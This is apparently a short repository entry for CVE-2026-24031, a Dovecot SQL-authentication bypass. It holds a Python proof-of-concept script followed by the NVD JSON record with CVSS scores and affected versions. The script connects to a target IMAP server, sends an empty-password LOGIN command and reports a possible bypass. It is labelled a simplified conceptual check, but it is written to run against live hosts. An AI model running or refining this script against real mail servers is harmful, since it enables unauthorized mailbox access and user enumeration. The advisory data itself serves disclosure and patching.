CVE-2026-24031

# PoC for Dovecot Auth Bypass (CVE-2026-24031) # This script attempts to authenticate when 'auth_username_chars' is empty. # It serves as a conceptual check for the vulnerability condition. import socket import sys def check_dovecot_bypass(target_ip, port, username): try: # Connect to the IMAP port (usually 143 or 993) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, port)) # Read server banner banner = s.recv(1024).decode() print(f"[+] Banner: {banner.strip()}") # Attempt AUTHENTICATE PLAIN or LOGIN depending on config # If auth_username_chars is empty, specific inputs might bypass checks # This is a simplified representation of the exploit attempt payload = f"A001 LOGIN {username} \"\"\r\n" s.send(payload.encode()) response = s.recv(1024).decode() print(f"[+] Response: {response.strip()}") if "OK Logged in" in response or "A001 OK" in response: print(f"[!] Potential Bypass Successful for user: {username}") else: print("[-] Authentication failed or configuration not vulnerable") s.close() except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Usage: python poc.py <target_ip> <port> <username> if len(sys.argv) != 4: print("Usage: python poc.py <ip> <port> <user>") else: check_dovecot_bypass(sys.argv[1], int(sys.argv[2]), sys.argv[3])

{"cve": {"id": "CVE-2026-24031", "sourceIdentifier": "[email protected]", "published": "2026-03-27T09:16:19.447", "lastModified": "2026-04-29T19:21:37.743", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dovecot SQL based authentication can be bypassed when auth_username_chars is cleared by admin. This vulnerability allows bypassing authentication for any user and user enumeration. Do not clear auth_username_chars. If this is not possible, install latest fixed version. No publicly available exploits are known."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 5.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dovecot:dovecot:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.4.3", "matchCriteriaId": "BE209329-C5EA-4EE7-A23E-CD2EC061A9A4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:open-xchange:dovecot:*:*:*:*:pro:*:*:*", "versionEndExcluding": "3.1.4", "matchCriteriaId": "108C2329-C70B-4056-AB01-80AEB7CF3912"}]}]}], "references": [{"url": "https://documentation.open-xchange.com/dovecot/security/advisories/csaf/2026/oxdc-adv-2026-0001.json", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}